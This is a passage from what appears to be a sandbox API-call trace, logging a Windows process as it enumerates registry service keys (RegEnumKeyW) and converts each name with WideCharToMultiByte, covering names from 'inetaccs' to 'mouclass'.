CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0028.234] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8e, lpName=0x1c829e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0028.234] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8f, lpName=0x1c829e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0028.234] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x90, lpName=0x1c829e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0028.234] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x91, lpName=0x1c829e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x1c94450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0028.234] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x92, lpName=0x1c829e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x1c94408, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0028.234] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x93, lpName=0x1c829e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0028.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0028.235] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x94, lpName=0x1c829e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0028.235] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x95, lpName=0x1c829e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0028.235] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x96, lpName=0x1c829e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0028.235] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x97, lpName=0x1c829e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0028.235] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x98, lpName=0x1c829e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0028.235] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x99, lpName=0x1c829e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0028.235] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9a, lpName=0x1c829e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0028.235] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9b, lpName=0x1c829e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0028.236] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9c, lpName=0x1c829e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0028.236] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9d, lpName=0x1c829e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0028.236] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9e, lpName=0x1c829e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0028.236] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x9f, lpName=0x1c829e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0028.236] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa0, lpName=0x1c829e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x1c94408, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0028.236] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa1, lpName=0x1c829e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x1c94450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0028.236] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa2, lpName=0x1c829e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x1c94408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0028.236] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa3, lpName=0x1c829e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0028.237] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa4, lpName=0x1c829e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0028.237] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa5, lpName=0x1c829e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0028.237] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa6, lpName=0x1c829e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x1c94408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0028.237] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa7, lpName=0x1c829e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0028.237] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa8, lpName=0x1c829e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0028.237] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xa9, lpName=0x1c829e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0028.237] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xaa, lpName=0x1c829e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0028.238] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xab, lpName=0x1c829e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0028.238] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xac, lpName=0x1c829e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0028.238] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xad, lpName=0x1c829e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0028.238] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xae, lpName=0x1c829e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0028.238] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xaf, lpName=0x1c829e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x1c94450, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0028.238] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb0, lpName=0x1c829e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x1c94408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0028.238] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb1, lpName=0x1c829e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0028.238] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb2, lpName=0x1c829e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x1c94408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0028.239] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb3, lpName=0x1c829e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0028.239] RegEnumKeyW (in: hKey=0x15c, dwIndex=0xb4, lpName=0x1c829e0, 